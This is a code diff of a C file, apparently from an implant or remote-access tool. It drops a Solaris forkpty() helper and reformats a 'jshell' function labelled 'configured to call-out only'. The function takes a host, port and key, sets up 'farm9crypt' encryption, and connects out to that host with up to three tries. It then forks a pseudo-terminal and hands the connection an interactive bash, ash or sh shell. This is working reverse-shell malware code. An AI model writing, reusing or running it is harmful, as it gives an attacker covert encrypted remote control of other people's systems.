| skipped 15 lines |
16 | 16 | | #include <pty.h> |
17 | 17 | | #endif |
18 | 18 | | |
19 | | - | #ifdef SOLARIS |
20 | | - | #include <fcntl.h> |
21 | | - | #include <sys/stropts.h> |
22 | | - | #include <sys/syscall.h> |
23 | | - | #include <sys/types.h> |
24 | | - | #include <sys/stat.h> |
25 | | - | #include <stropts.h> |
26 | | - | #include <fcntl.h> |
27 | | - | #include <errno.h> |
28 | | - | |
29 | | - | /* |
30 | | - | * forkpty() SOLARIS ONLY |
31 | | - | */ |
32 | | - | int forkpty( int *amaster, char *name, void *unused1, void *unused2 ) { |
33 | | - | |
34 | | - | char *slave; |
35 | | - | int pid, pty, tty; |
36 | | - | |
37 | | - | // to silence compiler warnings |
38 | | - | unused1 = unused1; |
39 | | - | unused2 = unused2; |
40 | | - | |
41 | | - | /* request a pseudo-terminal */ |
42 | | - | pty = open( "/dev/ptmx", O_RDWR | O_NOCTTY ); |
43 | | - | |
44 | | - | if( pty < 0 ) |
45 | | - | { |
46 | | - | DLX(4, perror("open(/dev/ptmx): ")); |
47 | | - | return( -1 ); |
48 | | - | } |
49 | | - | |
50 | | - | if( grantpt( pty ) < 0 ) |
51 | | - | { |
52 | | - | DLX(4, perror("grantpt(): ")); |
53 | | - | return( -1 ); |
54 | | - | } |
55 | | - | |
56 | | - | if( unlockpt( pty ) < 0 ) |
57 | | - | { |
58 | | - | DLX(4, perror("unlockpt(): ")); |
59 | | - | return( -1 ); |
60 | | - | } |
61 | | - | |
62 | | - | slave = ptsname( pty ); |
63 | | - | |
64 | | - | if( slave == NULL ) |
65 | | - | { |
66 | | - | DLX(4, perror("ptsname(): ")); |
67 | | - | return( -1 ); |
68 | | - | } |
69 | | - | |
70 | | - | if ( name ) strcpy( name, slave ); |
71 | | - | |
72 | | - | if ( amaster ) *amaster = pty; |
73 | | - | DLX(4, printf( "\tpty is fd = %i\n", pty)); |
74 | | - | |
75 | | - | /* fork to spawn a shell */ |
76 | | - | pid = fork(); |
77 | | - | |
78 | | - | if( pid < 0 ) |
79 | | - | { |
80 | | - | D( perror( " ! fork():" ); ) |
81 | | - | return( -1 ); |
82 | | - | } |
83 | | - | |
84 | | - | if( pid == 0 ) |
85 | | - | { |
86 | | - | /* close the pty (master side) */ |
87 | | - | /* the client socket is closed by the caller */ |
88 | | - | close( pty ); |
89 | | - | |
90 | | - | tty = open( slave, O_RDWR | O_NOCTTY ); |
91 | | - | |
92 | | - | if( tty < 0 ) |
93 | | - | { |
94 | | - | DLX(4, perror("open( slave ): ")); |
95 | | - | return( -1 ); |
96 | | - | } |
97 | | - | |
98 | | - | if( ioctl( tty, I_PUSH, "ptem" ) < 0 ) |
99 | | - | { |
100 | | - | DLX(4, perror("ioctl( ptem ):")); |
101 | | - | return( -1 ); |
102 | | - | } |
103 | | - | |
104 | | - | if( ioctl( tty, I_PUSH, "ldterm" ) < 0 ) |
105 | | - | { |
106 | | - | DLX(4, perror("ioctl( ldterm ):")); |
107 | | - | return( -1 ); |
108 | | - | } |
109 | | - | |
110 | | - | if( ioctl( tty, I_PUSH, "ttcompat" ) < 0 ) |
111 | | - | { |
112 | | - | DLX(4, perror("ioctl( ttcompat ):")); |
113 | | - | return( -1 ); |
114 | | - | } |
115 | | - | |
116 | | - | /* create a new session */ |
117 | | - | if( setsid() < 0 ) |
118 | | - | { |
119 | | - | DLX(4, perror("setsid():")); |
120 | | - | return( -1 ); |
121 | | - | } |
122 | | - | |
123 | | - | /* set controlling tty, to have job control */ |
124 | | - | |
125 | | - | int fd; |
126 | | - | |
127 | | - | fd = open( slave, O_RDWR ); |
128 | | - | |
129 | | - | if( fd < 0 ) |
130 | | - | { |
131 | | - | DLX(4, perror("open( slave )")); |
132 | | - | return( 46 ); |
133 | | - | } |
134 | | - | |
135 | | - | close( tty ); |
136 | | - | |
137 | | - | tty = fd; |
138 | | - | |
139 | | - | /* tty becomes stdin, stdout, stderr */ |
140 | | - | dup2( tty, 0 ); |
141 | | - | dup2( tty, 1 ); |
142 | | - | dup2( tty, 2 ); |
143 | | - | |
144 | | - | if( tty > 2 ) |
145 | | - | { |
146 | | - | close( tty ); |
147 | | - | } |
148 | | - | |
149 | | - | // execl( "/bin/sh", "sh", (char *)0 ); |
150 | | - | |
151 | | - | return( 0 ); |
152 | | - | } |
153 | | - | else |
154 | | - | { |
155 | | - | return( pid ); |
156 | | - | } |
157 | | - | |
158 | | - | /* not reached */ |
159 | | - | return( -1 ); |
160 | | - | } |
161 | | - | #endif // #ifdef SOLARIS |
162 | | - | |
163 | 19 | | // configured to call-out only |
164 | | - | void *jshell( void *input ) { |
| 20 | + | void *jshell(void *input) |
| 21 | + | { |
| 22 | + | int netfd; |
| 23 | + | int pid; |
| 24 | + | int pty; |
| 25 | + | int tries = 3; |
165 | 26 | | |
166 | | - | int netfd; |
167 | | - | int pid; |
168 | | - | int pty; |
169 | | - | int tries = 3; |
| 27 | + | char *host = strtok(input, " "); |
| 28 | + | char *port = strtok(NULL, " "); |
| 29 | + | char *key = strtok(NULL, " "); |
170 | 30 | | |
171 | | - | char *host = strtok( input, " " ); |
172 | | - | char *port = strtok( NULL, " " ); |
173 | | - | char *key = strtok( NULL, " " ); |
| 31 | + | DLX(3, printf("\tHost: %s, Port: %i, Key: %s\n", host, atoi(port), key)); |
174 | 32 | | |
175 | | - | DLX(3, printf("\tHost: %s, Port: %i, Key: %s\n", host, atoi( port ), key)); |
| 33 | + | farm9crypt_init(key); |
176 | 34 | | |
177 | | - | farm9crypt_init( key ); |
178 | | - | |
179 | | - | while ( tries > 0 ) |
180 | | - | { |
181 | | - | if ( net_connect( &netfd, host, atoi( port ) ) != 0 ) |
182 | | - | { |
183 | | - | DLX(3, printf("\tnet_connect() failed\n")); |
184 | | - | sleep( 1 ); |
| 35 | + | while (tries > 0) { |
| 36 | + | int ret; |
| 37 | + | if ((ret = net_connect(&netfd, host, atoi(port))) != 0) { |
| 38 | + | DLX(3, printf("\tnet_connect() failed with error: 0x%4x\n", ret)); |
| 39 | + | sleep(1); |
185 | 40 | | tries--; |
186 | | - | } |
187 | | - | else |
188 | | - | { |
| 41 | + | } else { |
189 | 42 | | DLX(3, printf("\tnet_connect() success\n")); |
190 | 43 | | break; |
191 | 44 | | } |
192 | 45 | | } |
193 | | - | if ( tries == 0 ) |
194 | | - | { |
195 | | - | DLX(3, printf( "\tExceeded connection attempts; exiting.\n")); |
196 | | - | return (void *)-1; |
| 46 | + | if (tries == 0) { |
| 47 | + | DLX(3, printf("\tExceeded connection attempts; exiting.\n")); |
| 48 | + | return (void *) -1; |
197 | 49 | | } |
198 | 50 | | |
199 | | - | DLX(3, printf( "\tnetfd = %i\n", netfd)); |
| 51 | + | DLX(3, printf("\tnetfd = %i\n", netfd)); |
200 | 52 | | |
| 53 | + | pid = forkpty(&pty, NULL, NULL, NULL); |
201 | 54 | | |
202 | | - | pid = forkpty( &pty, NULL, NULL, NULL ); |
203 | | - | |
204 | | - | if ( pid < 0 ) |
205 | | - | { |
| 55 | + | if (pid < 0) { |
206 | 56 | | DLX(3, perror("\tfork(): ")); |
207 | | - | DLX(3, printf ("Returning from jshell()\n")); |
208 | | - | return (void *)-1; |
| 57 | + | DLX(3, printf("Returning from jshell()\n")); |
| 58 | + | return (void *) -1; |
209 | 59 | | } |
210 | 60 | | |
211 | | - | if ( pid == 0 ) |
212 | | - | { |
| 61 | + | if (pid == 0) { |
213 | 62 | | // this is the child |
214 | | - | close( netfd ); |
| 63 | + | close(netfd); |
215 | 64 | | |
216 | 65 | | // Find a shell that works. The first one that works doesn't return. |
217 | | - | (void)execl( "/bin/bash", "bash", (char *)0 ); |
218 | | - | (void)execl( "/bin/ash", "ash", (char *)0 ); |
219 | | - | (void)execl( "/bin/sh", "sh", (char *)0 ); |
| 66 | + | (void) execl("/bin/bash", "bash", (char *) 0); |
| 67 | + | (void) execl("/bin/ash", "ash", (char *) 0); |
| 68 | + | (void) execl("/bin/sh", "sh", (char *) 0); |
220 | 69 | | |
221 | 70 | | // not reached (unless all of the above failed) |
222 | | - | return (void *)-1; |
223 | | - | } |
224 | | - | else |
225 | | - | { |
| 71 | + | return (void *) -1; |
| 72 | + | } else { |
226 | 73 | | // this is the parent |
227 | 74 | | shuffle(pty, netfd); |
228 | | - | DLX(3, printf ("Returning from jshell()\n")); |
229 | | - | return (void *)0; |
| 75 | + | DLX(3, printf("Returning from jshell()\n")); |
| 76 | + | return (void *) 0; |
230 | 77 | | } |
231 | 78 | | |
232 | 79 | | // not reached |
233 | | - | return (void *)0; |
| 80 | + | return (void *) 0; |
234 | 81 | | } |
235 | 82 | | |